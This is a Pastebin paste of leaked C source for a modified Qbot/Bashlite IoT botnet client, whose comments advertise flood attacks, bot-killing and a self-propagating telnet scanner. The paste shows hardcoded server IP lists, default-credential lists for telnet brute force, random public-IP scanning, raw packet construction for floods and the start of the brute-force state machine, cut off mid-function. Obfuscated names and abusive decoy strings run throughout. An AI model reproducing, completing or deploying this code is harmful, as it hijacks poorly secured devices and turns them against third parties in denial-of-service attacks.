miraip0ts

[QBOT Leak] SIMOXFX

Feb 24th, 2017
1,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 63.68 KB | None | 0 0
  1. // QBOT CLIENT MODIFIED BY SIMOXFX.
  2. // THIS IS A FUCKING PRIVATE CLIENT. IF YOU SHARE I WILL KILL YOU!!
  3. // FEAUTURES: HTTP-GHP FLOOD; STD FLOOD; BOT-KILL; DEVICE CLEANER; NEW AND FIXED IP-STATES; NEW AND FIXED TN-SCANNER (aka auto-rep).
  4. // HAVE FUN.
  5.  
  6.  
  7. /*
  8.   ___   ______    _______   ___       ___ ___   ______     _______   _______
  9.  |   | |   _  \  |   _   | |   |     |   Y   | |   _  \   |   _   | |   _   |
  10.  |.  | |.  |   | |.  1___| |.  |     |.  |   | |.  |   \  |.  1___| |   1___|
  11.  |.  | |.  |   | |.  |___  |.  |___  |.  |   | |.  |    \ |.  __)_  |____   |
  12.  |:  | |:  |   | |:  1   | |:  1   | |:  1   | |:  1    / |:  1   | |:  1   |
  13.  |::.| |::.|   | |::.. . | |::.. . | |::.. . | |::.. . /  |::.. . | |::.. . |
  14.  `---' `--- ---' `-------' `-------' `-------' `------'   `-------' `-------'
  15.  
  16. */
  17.  
  18. #include <stdlib.h>
  19. #include <stdarg.h>
  20. #include <stdio.h>
  21. #include <sys/socket.h>
  22. #include <sys/types.h>
  23. #include <netinet/in.h>  
  24. #include <arpa/inet.h>
  25. #include <netdb.h>
  26. #include <signal.h>                                                      
  27. #include <strings.h>                                                      
  28. #include <string.h>
  29. #include <sys/utsname.h>
  30. #include <unistd.h>
  31. #include <fcntl.h>
  32. #include <errno.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/udp.h>
  35. #include <netinet/tcp.h>
  36. #include <sys/wait.h>
  37. #include <sys/ioctl.h>
  38. #include <net/if.h>
  39. #include <time.h>
  40. #include <dirent.h>
  41. #include <limits.h>
  42. #include <sys/stat.h>
  43. #include <sys/time.h>
  44. #include <string.h>
  45.  
  46. /*
  47.   ______     _______   _______   ___   ______    _______   _______
  48.  |   _  \   |   _   | |   _   | |   | |   _  \  |   _   | |   _   |
  49.  |.  |   \  |.  1___| |.  1___| |.  | |.  |   | |.  1___| |   1___|
  50.  |.  |    \ |.  __)_  |.  __)   |.  | |.  |   | |.  __)_  |____   |
  51.  |:  1    / |:  1   | |:  |     |:  | |:  |   | |:  1   | |:  1   |
  52.  |::.. . /  |::.. . | |::.|     |::.| |::.|   | |::.. . | |::.. . |
  53.  `------'   `-------' `---'     `---' `--- ---' `-------' `-------'
  54.  
  55. */
  56.  
  57. #define PR_SET_NAME 15
  58. #define pornhub_rocks (sizeof(vjqweuqwuds) / sizeof(unsigned char *))
  59. #define PAD_RIGHT 1
  60. #define PAD_ZERO 2
  61. #define PRINT_BUF_LEN 12
  62. #define CMD_IAC   255
  63. #define CMD_WILL  251
  64. #define CMD_WONT  252
  65. #define CMD_DO    253
  66. #define CMD_DONT  254
  67. #define OPT_SGA   3
  68. #define SOCKBUF_SIZE 1024
  69. #define BUFFER_SIZE 1024
  70. #define l0l21eu128duw "hugme"
  71. #define zdjaudh278e12ye 75
  72. struct qhfkszpt {
  73.         int fd;
  74.         unsigned int ip;
  75.         unsigned char state;
  76.         unsigned char complete;
  77.         unsigned char aspymhfk;     /* username     */
  78.         unsigned char agnahqau;     /* password     */
  79.         unsigned char xfdbymvk;     /* tempdir      */
  80.         unsigned int tTimeout;      /* totalTimeout */
  81.         unsigned short bufUsed;
  82.         char *sockbuf;
  83. };
  84. int fake_connection_wink_wink();
  85. void chinese_routers_suck(unsigned char *buf, int length);
  86. int bignetreppin(int sock, char *formatStr, ...);
  87. char *inet_ntoa(struct in_addr in);
  88. int lots_of_random_shit = 0, big_fat_d1ckz = -1;
  89. uint32_t *pids;
  90. uint32_t scanPid;
  91. uint64_t numpids = 0;
  92. struct in_addr ourIP;
  93.  
  94. /*
  95.   _______   _______   _______   ___ ___   _______   _______      _______   _______   ______    _______   ___   _______
  96.  |   _   | |   _   | |   _   \ |   Y   | |   _   | |   _   \    |   _   | |   _   | |   _  \  |   _   | |   | |   _   |
  97.  |   1___| |.  1___| |.  l   / |.  |   | |.  1___| |.  l   /    |.  1___| |.  |   | |.  |   | |.  1___| |.  | |.  |___|
  98.  |____   | |.  __)_  |.  _   1 |.  |   | |.  __)_  |.  _   1    |.  |___  |.  |   | |.  |   | |.  __)   |.  | |.  |   |
  99.  |:  1   | |:  1   | |:  |   | |:  1   | |:  1   | |:  |   |    |:  1   | |:  1   | |:  |   | |:  |     |:  | |:  1   |
  100.  |::.. . | |::.. . | |::.|:. |  \:.. ./  |::.. . | |::.|:. |    |::.. . | |::.. . | |::.|   | |::.|     |::.| |::.. . |
  101.  `-------' `-------' `--- ---'   `---'   `-------' `--- ---'    `-------' `-------' `--- ---' `---'     `---' `-------'
  102.  
  103.  */
  104.  
  105. unsigned char *siwuaddawdw[] = { "180.127.193.85:666", "217.168.59.97:44824", "136.14.234.160:11023", "91.74.26.26:24244", "119.68.130.58:33024" };
  106. unsigned char *dasjdiojsad[] = { "164.246.251.135:204", "5.215.180.160:23", "83.4.146.45:1337", "171.205.142.167:123", "37.113.229.173:6892", "106.106.75.162:56", "35.2.109.121:3302" };
  107. unsigned char *vjqweuqwuds[] = { "1.1.1.1:23" }; // IP:PORT
  108. unsigned char *zdqweiwjdwa[] = { "30.3.163.60:333", "207.47.201.234:19241", "79.131.61.218:47", "79.131.65.218:69", "79.131.61.218:12340", "3.27.128.81:1032", "158.188.44.47:22322" };
  109. unsigned char *sdlmiwudhua[] = { "14.109.142.86:12", "153.22.141.84:2000", "197.210.81.149:443", "49.94.220.40:6667", "77.236.150.164:50404", "5.238.219.87:20411", "16.193.157.210:2224", "125.211.90.104:4848", "44.106.46.173:9969" };
  110.  
  111. /*
  112.   _______   ___ ___   ______    _______   _______   ___   _______   ______    _______
  113.  |   _   | |   Y   | |   _  \  |   _   | |       | |   | |   _   | |   _  \  |   _   |
  114.  |.  1___| |.  |   | |.  |   | |.  1___| |.|   | | |.  | |.  |   | |.  |   | |   1___|
  115.  |.  __)   |.  |   | |.  |   | |.  |___  `-|.  |-' |.  | |.  |   | |.  |   | |____   |
  116.  |:  |     |:  1   | |:  |   | |:  1   |   |:  |   |:  | |:  1   | |:  |   | |:  1   |
  117.  |::.|     |::.. . | |::.|   | |::.. . |   |::.|   |::.| |::.. . | |::.|   | |::.. . |
  118.  `---'     `-------' `--- ---' `-------'   `---'   `---' `-------' `--- ---' `-------'
  119.  
  120. */
  121.  
  122. char *zkdgisfue[] = {"root\0", "\0", "admin\0", "user\0", "guest\0", "user\0", "support\0", "supervisor\0", "telnet\0", "ubnt\0"};
  123. char *rqwruwdsa[] = {"root\0", "\0", "admin\0", "user\0", "guest\0", "1111\0", "1234\0", "12345\0", "123456\0", "default\0", "dreambox\0", "pass\0", "password\0", "vizxv\0"};
  124. unsigned char *f2u342932[] = { "fuck you skid", "suck a dick", "you don't got anythin on me!", "mlg 420 doritoz", "blaze it SKIDIOT!", "xd memez", "i live in tokyo",
  125.                                "#TonysMalwareMeme", "blj is a skid ripper", "cum on my titz", "ohhh yaa fuck me daddy", "lol kys", "DADDY PLEZ", "donald trump",
  126.                                "black people with white dicks 2016", "lmao what a great joke", "why are you still here?", "what did you find?", "DID U FIND YOUR TINY COCK?", "LOOOOL YAH YOU DID", "okay, i wasted your time, continue on LOL, RETARD." };
  127. char* gxjaddwmyge[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/var/tmp", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};       /* temp dirs    */
  128. char* sgjgqjhcssq[] = {":", "ogin", "sername", "assword", (char*)0};                                                                                    /* advances     */
  129. char* fzfyrhwmbxh[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                      /* fails        */
  130. char* wwxpahtemqq[] = {"busybox", "$", "#", (char*)0};                                                                                                  /* successes    */
  131. char* sgjgqjhcssq2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};                                /* advances 2   */
  132.  
  133. /*
  134.   _______   _______   _______   ______    _______
  135.  |   _   | |   _   | |   _   \ |   _  \  |   _   |
  136.  |.  1___| |.  1   | |.  l   / |.  |   | |.  |___|
  137.  |.  __)   |.  ____| |.  _   1 |.  |   | |.  |   |
  138.  |:  |     |:  |     |:  |   | |:  |   | |:  1   |
  139.  |::.|     |::.|     |::.|:. | |::.|   | |::.. . |
  140.  `---'     `---'     `--- ---' `--- ---' `-------'
  141.  
  142. */
  143.  
  144. #define PHI 0x9e3779b9
  145. static uint32_t Q[4096], c = 362436;
  146. void init_rand(uint32_t x) {
  147.         int i;
  148.         Q[0] = x;
  149.         Q[1] = x + PHI;
  150.         Q[2] = x + PHI + PHI;
  151.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  152. }
  153. uint32_t rand_cmwc(void) {
  154.         uint64_t t, a = 18782LL;
  155.         static uint32_t i = 4095;
  156.         uint32_t x, r = 0xfffffffe;
  157.         i = (i + 1) & 4095;
  158.         t = a * Q[i] + c;
  159.         c = (uint32_t)(t >> 32);
  160.         x = t + c;
  161.         if (x < c) {
  162.                 x++;
  163.                 c++;
  164.         }
  165.         return (Q[i] = r - x);
  166. }
  167. int contains_string(char* buffer, char** strings) {
  168.         int num_strings = 0, i = 0;
  169.         for(num_strings = 0; strings[++num_strings] != 0; );
  170.         for(i = 0; i < num_strings; i++) {
  171.                 if(strcasestr(buffer, strings[i])) {
  172.                         return 1;
  173.                 }
  174.         }
  175.         return 0;
  176. }
  177. int contains_success(char* buffer) {
  178.         return contains_string(buffer, wwxpahtemqq);
  179. }
  180. int contains_fail(char* buffer) {
  181.         return contains_string(buffer, fzfyrhwmbxh);
  182. }
  183. int contains_response(char* buffer) {
  184.         return contains_success(buffer) || contains_fail(buffer);
  185. }
  186. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  187.         fd_set read_set;
  188.         struct timeval tv;
  189.         tv.tv_sec = 0;
  190.         tv.tv_usec = timeout_usec;
  191.         FD_ZERO(&read_set);
  192.         FD_SET(fd, &read_set);
  193.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  194.         return 0;
  195.         return recv(fd, buffer, buf_size, 0);
  196. }
  197. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  198.         int num_bytes, i;
  199.         memset(buffer, 0, buf_size);
  200.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  201.         if(buffer[0] == 0xFF) {
  202.                 negotiate(fd, buffer, 3);
  203.         }
  204.  
  205.         if(contains_string(buffer, strings)) {
  206.                 return 1;
  207.         }
  208.  
  209.         return 0;
  210. }
  211. const char* fatd1cks(struct qhfkszpt* telstate) { // get host
  212.         struct in_addr in_addr_ip;
  213.         in_addr_ip.s_addr = telstate->ip;
  214.         return inet_ntoa(in_addr_ip);
  215. }
  216. void adv_c0ckz(struct qhfkszpt* telstate, int new_state) { // advance
  217.         if(new_state == 0) {
  218.                 close(telstate->fd);
  219.         }
  220.         telstate->tTimeout = 0;
  221.         telstate->state = new_state;
  222.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  223. }
  224. void res_c0ckz(struct qhfkszpt* telstate) { // reset
  225.         adv_c0ckz(telstate, 0);
  226.         telstate->complete = 1;
  227. }
  228.  
  229. /*
  230.   ___ ___   _______   ___   ___       _______
  231.  |   Y   | |       | |   | |   |     |   _   |
  232.  |.  |   | |.|   | | |.  | |.  |     |   1___|
  233.  |.  |   | `-|.  |-' |.  | |.  |___  |____   |
  234.  |:  1   |   |:  |   |:  | |:  1   | |:  1   |
  235.  |::.. . |   |::.|   |::.| |::.. . | |::.. . |
  236.  `-------'   `---'   `---' `-------' `-------'
  237.  
  238. */
  239.  
  240. void trim(char *str) {
  241.         int i;
  242.         int begin = 0;
  243.         int end = strlen(str) - 1;
  244.  
  245.         while (isspace(str[begin])) begin++;
  246.  
  247.         while ((end >= begin) && isspace(str[end])) end--;
  248.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  249.  
  250.         str[i - begin] = '\0';
  251. }
  252. static void printchar(unsigned char **str, int c) {
  253.         if (str) {
  254.                 **str = c;
  255.                 ++(*str);
  256.         }
  257.         else (void)write(1, &c, 1);
  258. }
  259. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  260.         register int pc = 0, padchar = ' ';
  261.         if (width > 0) {
  262.                 register int len = 0;
  263.                 register const unsigned char *ptr;
  264.                 for (ptr = string; *ptr; ++ptr) ++len;
  265.                 if (len >= width) width = 0;
  266.                 else width -= len;
  267.                 if (pad & PAD_ZERO) padchar = '0';
  268.         }
  269.         if (!(pad & PAD_RIGHT)) {
  270.                 for ( ; width > 0; --width) {
  271.                         printchar (out, padchar);
  272.                         ++pc;
  273.                 }
  274.         }
  275.         for ( ; *string ; ++string) {
  276.                 printchar (out, *string);
  277.                 ++pc;
  278.         }
  279.         for ( ; width > 0; --width) {
  280.                 printchar (out, padchar);
  281.                 ++pc;
  282.         }
  283.         return pc;
  284. }
  285. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  286.         unsigned char print_buf[PRINT_BUF_LEN];
  287.         register unsigned char *s;
  288.         register int t, neg = 0, pc = 0;
  289.         register unsigned int u = i;
  290.         if (i == 0) {
  291.                 print_buf[0] = '0';
  292.                 print_buf[1] = '\0';
  293.                 return prints (out, print_buf, width, pad);
  294.         }
  295.         if (sg && b == 10 && i < 0) {
  296.                 neg = 1;
  297.                 u = -i;
  298.         }
  299.  
  300.         s = print_buf + PRINT_BUF_LEN-1;
  301.         *s = '\0';
  302.         while (u) {
  303.                 t = u % b;
  304.                 if( t >= 10 )
  305.                 t += letbase - '0' - 10;
  306.                 *--s = t + '0';
  307.                 u /= b;
  308.         }
  309.         if (neg) {
  310.                 if( width && (pad & PAD_ZERO) ) {
  311.                         printchar (out, '-');
  312.                         ++pc;
  313.                         --width;
  314.                 }
  315.                 else {
  316.                         *--s = '-';
  317.                 }
  318.         }
  319.  
  320.         return pc + prints (out, s, width, pad);
  321. }
  322. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  323.         register int width, pad;
  324.         register int pc = 0;
  325.         unsigned char scr[2];
  326.         for (; *format != 0; ++format) {
  327.                 if (*format == '%') {
  328.                         ++format;
  329.                         width = pad = 0;
  330.                         if (*format == '\0') break;
  331.                         if (*format == '%') goto out;
  332.                         if (*format == '-') {
  333.                                 ++format;
  334.                                 pad = PAD_RIGHT;
  335.                         }
  336.                         while (*format == '0') {
  337.                                 ++format;
  338.                                 pad |= PAD_ZERO;
  339.                         }
  340.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  341.                                 width *= 10;
  342.                                 width += *format - '0';
  343.                         }
  344.                         if( *format == 's' ) {
  345.                                 register char *s = (char *)va_arg( args, int );
  346.                                 pc += prints (out, s?s:"(null)", width, pad);
  347.                                 continue;
  348.                         }
  349.                         if( *format == 'd' ) {
  350.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  351.                                 continue;
  352.                         }
  353.                         if( *format == 'x' ) {
  354.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  355.                                 continue;
  356.                         }
  357.                         if( *format == 'X' ) {
  358.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  359.                                 continue;
  360.                         }
  361.                         if( *format == 'u' ) {
  362.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  363.                                 continue;
  364.                         }
  365.                         if( *format == 'c' ) {
  366.                                 scr[0] = (unsigned char)va_arg( args, int );
  367.                                 scr[1] = '\0';
  368.                                 pc += prints (out, scr, width, pad);
  369.                                 continue;
  370.                         }
  371.                 }
  372.                 else {
  373. out:
  374.                         printchar (out, *format);
  375.                         ++pc;
  376.                 }
  377.         }
  378.         if (out) **out = '\0';
  379.         va_end( args );
  380.         return pc;
  381. }
  382. int zprintf(const unsigned char *format, ...) {
  383.         va_list args;
  384.         va_start( args, format );
  385.         return print( 0, format, args );
  386. }
  387. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  388.         va_list args;
  389.         va_start( args, format );
  390.         return print( &out, format, args );
  391. }
  392. int bignetreppin(int sock, char *formatStr, ...) {
  393.         unsigned char *textBuffer = malloc(2048);
  394.         memset(textBuffer, 0, 2048);
  395.         char *orig = textBuffer;
  396.         va_list args;
  397.         va_start(args, formatStr);
  398.         print(&textBuffer, formatStr, args);
  399.         va_end(args);
  400.         orig[strlen(orig)] = '\n';
  401.         zprintf("bot: %s\n", orig);
  402.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  403.         free(orig);
  404.         return q;
  405. }
  406. int wildString(const unsigned char* pattern, const unsigned char* string) {
  407.         switch(*pattern) {
  408.         case '\0': return *string;
  409.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  410.         case '?': return !(*string && !wildString(pattern+1, string+1));
  411.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  412.         }
  413. }
  414. int getHost(unsigned char *toGet, struct in_addr *i) {
  415.         struct hostent *h;
  416.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  417.         return 0;
  418. }
  419. void chinese_routers_suck(unsigned char *buf, int length) {
  420.         int i = 0;
  421.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  422. }
  423. int recvLine(int socket, unsigned char *buf, int bufsize) {
  424.         memset(buf, 0, bufsize);
  425.         fd_set myset;
  426.         struct timeval tv;
  427.         tv.tv_sec = 30;
  428.         tv.tv_usec = 0;
  429.         FD_ZERO(&myset);
  430.         FD_SET(socket, &myset);
  431.         int selectRtn, retryCount;
  432.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  433.                 while(retryCount < 10) {
  434.                         tv.tv_sec = 30;
  435.                         tv.tv_usec = 0;
  436.                         FD_ZERO(&myset);
  437.                         FD_SET(socket, &myset);
  438.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  439.                                 retryCount++;
  440.                                 continue;
  441.                         }
  442.                         break;
  443.                 }
  444.         }
  445.         unsigned char tmpchr;
  446.         unsigned char *cp;
  447.         int count = 0;
  448.         cp = buf;
  449.         while(bufsize-- > 1) {
  450.                 if(recv(lots_of_random_shit, &tmpchr, 1, 0) != 1) {
  451.                         *cp = 0x00;
  452.                         return -1;
  453.                 }
  454.                 *cp++ = tmpchr;
  455.                 if(tmpchr == '\n') break;
  456.                 count++;
  457.         }
  458.         *cp = 0x00;
  459.         return count;
  460. }
  461. int connectTimeout(int fd, char *host, int port, int timeout) {
  462.         struct sockaddr_in dest_addr;
  463.         fd_set myset;
  464.         struct timeval tv;
  465.         socklen_t lon;
  466.         int valopt;
  467.         long arg = fcntl(fd, F_GETFL, NULL);
  468.         arg |= O_NONBLOCK;
  469.         fcntl(fd, F_SETFL, arg);
  470.         dest_addr.sin_family = AF_INET;
  471.         dest_addr.sin_port = htons(port);
  472.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  473.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  474.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  475.         if (res < 0) {
  476.                 if (errno == EINPROGRESS) {
  477.                         tv.tv_sec = timeout;
  478.                         tv.tv_usec = 0;
  479.                         FD_ZERO(&myset);
  480.                         FD_SET(fd, &myset);
  481.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  482.                                 lon = sizeof(int);
  483.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  484.                                 if (valopt) return 0;
  485.                         }
  486.                         else return 0;
  487.                 }
  488.                 else return 0;
  489.         }
  490.         arg = fcntl(fd, F_GETFL, NULL);
  491.         arg &= (~O_NONBLOCK);
  492.         fcntl(fd, F_SETFL, arg);
  493.         return 1;
  494. }
  495. int listFork() {
  496.         uint32_t parent, *newpids, i;
  497.         parent = fork();
  498.         if (parent <= 0) return parent;
  499.         numpids++;
  500.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  501.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  502.         newpids[numpids - 1] = parent;
  503.         free(pids);
  504.         pids = newpids;
  505.         return parent;
  506. }
  507. int negotiate(int sock, unsigned char *buf, int len) {
  508.         unsigned char c;
  509.         switch (buf[1]) {
  510.         case CMD_IAC: return 0;
  511.         case CMD_WILL:
  512.         case CMD_WONT:
  513.         case CMD_DO:
  514.         case CMD_DONT:
  515.                 c = CMD_IAC;
  516.                 send(sock, &c, 1, MSG_NOSIGNAL);
  517.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  518.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  519.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  520.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  521.                 send(sock, &c, 1, MSG_NOSIGNAL);
  522.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  523.                 break;
  524.         default:
  525.                 break;
  526.         }
  527.  
  528.         return 0;
  529. }
  530. int matchPrompt(char *bufStr) {
  531.         char *prompts = ":>%$#\0";
  532.         int bufLen = strlen(bufStr);
  533.         int i, q = 0;
  534.         for(i = 0; i < strlen(prompts); i++) {
  535.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  536.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  537.         }
  538.         return 0;
  539. }
  540.  
  541. /*
  542.   ___   _______            _______   _______   _______   _______   _______   _______
  543.  |   | |   _   |  ______  |   _   | |       | |   _   | |       | |   _   | |   _   |
  544.  |.  | |.  1   | |______| |   1___| |.|   | | |.  1   | |.|   | | |.  1___| |   1___|
  545.  |.  | |.  ____|          |____   | `-|.  |-' |.  _   | `-|.  |-' |.  __)_  |____   |   //Fixed By SimoxFX
  546.  |:  | |:  |              |:  1   |   |:  |   |:  |   |   |:  |   |:  1   | |:  1   |
  547.  |::.| |::.|              |::.. . |   |::.|   |::.|:. |   |::.|   |::.. . | |::.. . |
  548.  `---' `---'              `-------'   `---'   `--- ---'   `---'   `-------' `-------'
  549.  
  550. */
  551.  
  552. in_addr_t ohyesilovewilly() {
  553.         uint8_t ipState[4] = {0};
  554.         ipState[0] = rand() % 255;
  555.         ipState[1] = rand() % 255;
  556.         ipState[2] = rand() % 255;
  557.         ipState[3] = rand() % 255;
  558.         while(
  559.                 (ipState[0] == 0) ||
  560.                 (ipState[0] == 10) ||
  561.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  562.                 (ipState[0] == 127) ||
  563.                 (ipState[0] == 169 && ipState[1] == 254) ||
  564.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  565.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  566.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  567.                 (ipState[0] == 192 && ipState[1] == 168) ||
  568.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  569.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  570.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  571.                 (ipState[0] >= 224)
  572.         )
  573.         {
  574.                 ipState[0] = rand() % 255;
  575.                 ipState[1] = rand() % 255;
  576.                 ipState[2] = rand() % 255;
  577.                 ipState[3] = rand() % 255;
  578.         }
  579.         char ip[16] = {0};
  580.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  581.         return inet_addr(ip);
  582. }
  583. in_addr_t bigcocksinmymouth(in_addr_t netmask) {
  584.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  585.         return tmp ^ ( rand_cmwc() & ~netmask);
  586. }
  587. unsigned short csum (unsigned short *buf, int count) {
  588.         register uint64_t sum = 0;
  589.         while( count > 1 ) { sum += *buf++; count -= 2; }
  590.         if(count > 0) { sum += *(unsigned char *)buf; }
  591.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  592.         return (uint16_t)(~sum);
  593. }
  594. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  595.         struct tcp_pseudo {
  596.                 unsigned long src_addr;
  597.                 unsigned long dst_addr;
  598.                 unsigned char zero;
  599.                 unsigned char proto;
  600.                 unsigned short length;
  601.         } pseudohead;
  602.         unsigned short total_len = iph->tot_len;
  603.         pseudohead.src_addr=iph->saddr;
  604.         pseudohead.dst_addr=iph->daddr;
  605.         pseudohead.zero=0;
  606.         pseudohead.proto=IPPROTO_TCP;
  607.         pseudohead.length=htons(sizeof(struct tcphdr));
  608.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  609.         unsigned short *tcp = malloc(totaltcp_len);
  610.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  611.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  612.         unsigned short output = csum(tcp,totaltcp_len);
  613.         free(tcp);
  614.         return output;
  615. }
  616. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  617.         iph->ihl = 5;
  618.         iph->version = 4;
  619.         iph->tos = 0;
  620.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  621.         iph->id = rand_cmwc();
  622.         iph->frag_off = 0;
  623.         iph->ttl = MAXTTL;
  624.         iph->protocol = protocol;
  625.         iph->check = 0;
  626.         iph->saddr = source;
  627.         iph->daddr = dest;
  628. }
  629. int sclose(int fd) {
  630.         if(3 > fd) return 1;
  631.         close(fd);
  632.         return 0;
  633. }
  634. int awdj218eu29duada(char *host, in_port_t port) {
  635.     struct hostent *hp;
  636.     struct sockaddr_in addr;
  637.     int on = 1, sock;
  638.     if ((hp = gethostbyname(host)) == NULL) return 0;
  639.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  640.     addr.sin_port = htons(port);
  641.     addr.sin_family = AF_INET;
  642.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  643.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  644.     if (sock == -1) return 0;
  645.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  646.     return sock;
  647. }
  648.  
  649. /*
  650.   _______   ______             _______   _______   _______   ______    ______    _______   _______
  651.  |       | |   _  \   ______  |   _   | |   _   | |   _   | |   _  \  |   _  \  |   _   | |   _   \
  652.  |.|   | | |.  |   | |______| |   1___| |.  1___| |.  1   | |.  |   | |.  |   | |.  1___| |.  l   /
  653.  `-|.  |-' |.  |   |          |____   | |.  |___  |.  _   | |.  |   | |.  |   | |.  __)_  |.  _   1          //Fixed By SimoxFX - Fucking fast and working TN scan/bf.
  654.    |:  |   |:  |   |          |:  1   | |:  1   | |:  |   | |:  |   | |:  |   | |:  1   | |:  |   |
  655.    |::.|   |::.|   |          |::.. . | |::.. . | |::.|:. | |::.|   | |::.|   | |::.. . | |::.|:. |
  656.    `---'   `--- ---'          `-------' `-------' `--- ---' `--- ---' `--- ---' `-------' `--- ---'
  657.  
  658. */
  659.  
  660. void fuckfatpeople(int wait_usec, int maxfds) {
  661.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  662.         char buf[128], cur_dir;
  663.         if (max > maxfds)
  664.                 max = maxfds;
  665.         fd_set fdset;
  666.         struct timeval tv;
  667.         socklen_t lon;
  668.         int valopt;
  669.         char line[256];
  670.         char* buffer;
  671.         struct sockaddr_in dest_addr;
  672.         dest_addr.sin_family = AF_INET;
  673.         dest_addr.sin_port = htons(23);
  674.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  675.         buffer = malloc(SOCKBUF_SIZE + 1);
  676.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  677.         struct qhfkszpt fds[max];
  678.         memset(fds, 0, max * (sizeof(int) + 1));
  679.         for(i = 0; i < max; i++) {
  680.                 memset(&(fds[i]), 0, sizeof(struct qhfkszpt));
  681.                 fds[i].complete = 1;
  682.                 fds[i].sockbuf = buffer;
  683.         }
  684.         for(num_tmps = 0; gxjaddwmyge[++num_tmps] != 0; );
  685.         while(1) {
  686.                 for(i = 0; i < max; i++) {
  687.                         if(fds[i].tTimeout == 0) {
  688.                                 fds[i].tTimeout = time(NULL);
  689.                         }
  690.                         switch(fds[i].state) {
  691.             case 0:
  692.                 {
  693.                                 if(fds[i].complete == 1) {
  694.                                     char *tmp = fds[i].sockbuf;
  695.                                     memset(&(fds[i]), 0, sizeof(struct qhfkszpt));
  696.                                     fds[i].sockbuf = tmp;
  697.                                     fds[i].ip = ohyesilovewilly();
  698.                                 }
  699.                                 else if(fds[i].complete == 0) {
  700.                                     fds[i].agnahqau++;
  701.                                     if(fds[i].agnahqau == sizeof(rqwruwdsa) / sizeof(char *)) {
  702.                                     fds[i].agnahqau = 0;
  703.                                     fds[i].aspymhfk++;
  704.                                 }
  705.                                 if(fds[i].aspymhfk == sizeof(zkdgisfue) / sizeof(char *)) {
  706.                                     fds[i].complete = 1;
  707.                                     continue;
  708.                                 }
